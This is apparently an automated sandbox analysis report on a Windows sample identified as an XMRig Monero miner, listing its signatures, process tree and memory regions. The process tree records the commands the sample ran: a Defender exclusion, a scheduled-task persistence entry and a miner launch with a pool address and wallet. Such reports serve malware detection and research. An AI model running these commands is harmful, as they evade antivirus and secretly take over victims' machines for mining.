Analysis
- max time kernel
106s - max time network
149s - platform
windows10-2004_x64 - resource
win10v2004-20221111-en - resource tags
- submitted
08/01/2023, 22:46
General
- Target file.exe
- Size 989KB
- Sample230108-2pypzafa52
- SHA256 015c55d8aea4cee3387e2a206705d0d1a853b21e1076e19b77aa481c7c2d79f2
Malware Config
Signatures
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- XMRig Miner payload 6 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Uses the VBS compiler for execution 1 TTPs
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious behavior: LoadsDriver 1 IoCs
- Suspicious use of AdjustPrivilegeToken 4 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 20 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\file.exe"C:\Users\Admin\AppData\Local\Temp\file.exe"1⤵
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "VANOZ" /tr "C:\ProgramData\Explorer\VANOZ.exe"2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exeschtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "VANOZ" /tr "C:\ProgramData\Explorer\VANOZ.exe"3⤵
- Creates scheduled task(s)
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
memory/2036-148-0x0000028776C60000-0x0000028776C82000-memory.dmp
memory/2036-149-0x00007FFED96F0000-0x00007FFEDA1B1000-memory.dmp
memory/2380-165-0x000001E7E4680000-0x000001E7E46C0000-memory.dmp
memory/2380-169-0x000001E7E46C0000-0x000001E7E46E0000-memory.dmp
memory/2380-168-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/2380-170-0x000001E7E46E0000-0x000001E7E4700000-memory.dmp
memory/2380-164-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/2380-163-0x000001E7E4530000-0x000001E7E4550000-memory.dmp
memory/2380-162-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/2380-161-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/2380-159-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/2380-171-0x000001E7E46C0000-0x000001E7E46E0000-memory.dmp
memory/2380-172-0x000001E7E46E0000-0x000001E7E4700000-memory.dmp
memory/3388-143-0x00000000005E0000-0x0000000000742000-memory.dmp
memory/3388-133-0x00007FFEDA1C0000-0x00007FFEDA26A000-memory.dmp
memory/3388-150-0x00000000005E0000-0x0000000000742000-memory.dmp
memory/3388-151-0x0000000003390000-0x00000000033D3000-memory.dmp
memory/3388-152-0x00007FFED96F0000-0x00007FFEDA1B1000-memory.dmp
memory/3388-134-0x00007FFEF7540000-0x00007FFEF75DE000-memory.dmp
memory/3388-135-0x00007FFEF3150000-0x00007FFEF3162000-memory.dmp
memory/3388-155-0x00007FFED4790000-0x00007FFED47C5000-memory.dmp
memory/3388-156-0x00007FFED47D0000-0x00007FFED48D2000-memory.dmp
memory/3388-157-0x00007FFEF7A60000-0x00007FFEF7ACB000-memory.dmp
memory/3388-158-0x00007FFEF4600000-0x00007FFEF463B000-memory.dmp
memory/3388-145-0x00007FFED96F0000-0x00007FFEDA1B1000-memory.dmp
memory/3388-144-0x00007FFED7B70000-0x00007FFED7CBE000-memory.dmp
memory/3388-146-0x00007FFEF55D0000-0x00007FFEF55F7000-memory.dmp
memory/3388-142-0x00000000005E0000-0x0000000000742000-memory.dmp
memory/3388-141-0x00007FFEF7110000-0x00007FFEF713B000-memory.dmp
memory/3388-138-0x00007FFED96F0000-0x00007FFEDA1B1000-memory.dmp
memory/3388-140-0x0000000003390000-0x00000000033D3000-memory.dmp
memory/3388-166-0x00000000005E0000-0x0000000000742000-memory.dmp
memory/3388-167-0x00007FFED96F0000-0x00007FFEDA1B1000-memory.dmp
memory/3388-139-0x00000000005E0000-0x0000000000742000-memory.dmp
memory/3388-137-0x00007FFEF72E0000-0x00007FFEF7481000-memory.dmp
memory/3388-136-0x00007FFED9630000-0x00007FFED96ED000-memory.dmp